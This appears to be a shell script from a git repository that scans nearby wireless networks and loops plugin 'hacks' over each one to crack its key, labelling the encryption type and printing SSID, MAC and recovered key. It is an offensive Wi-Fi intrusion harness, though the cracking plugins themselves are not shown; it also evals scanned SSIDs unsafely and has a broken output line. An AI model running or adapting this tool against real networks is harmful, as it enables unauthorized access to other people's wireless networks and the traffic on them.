summaryrefslogtreecommitdiffstats
path: root/usr/bin/autowifi_dryrun
blob: 1df941193471d4c25cfe86d17c666f5a88f06951 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh 
# ENV:
# the root directory (e.g. root=$PWD/../../ if run from here )
cd $(dirname $(readlink -f $0))
root=${root:-/}
wifi=${wifi:-wlan0}

test  "${1:-}" = 'quiet' && exec 2>&-

# for iwlist_scan
. $root/usr/lib/autowifi/lib/iwlist

# . $ROOT/usr/lib/autowifi/lib/

# for check_internet and check_gateway
# . /usr/lib/autowifi/lib/network

crack_wifi(){
    #SSID MAC CHANNEL ENCRYPTION WPA WPA2
    if [ "$4" == off ];then
        encr=open
    elif [ "$6" -eq 1 ]; then
        encr=psk2
    elif [ "$5" -eq 1 ]; then
        encr=psk
    elif [ "$4" == on ]; then
        encr=wep
    fi
    ALL_RET=1
    for hack in $(find $root/usr/lib/autowifi/plugins -type f | sort -n); do
        printf "%s" "Trying $(basename $hack) against $1 : " >&2
        key=$($hack "$@");
        ret=$?
        if [ $ret -eq 0 ];then
            echo "success!" >&2
            echo $1|$2|$encr|$key
            ALL_RET=0
        else
            echo "fail ..." >&2
        fi
    done
    return $ALL_RET
}
loop_over_networks(){
    . /tmp/${wifi}.scan
    echo "SSID:MAC:CHANNEL:ENCRYPTION:key"
    for i in `seq 1 $WIFI_COUNT`; do
        eval crack_wifi \"\${ESSID_${i}}\" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} 
    done
}

iwlist_scan > /tmp/${wifi}.scan
loop_over_networks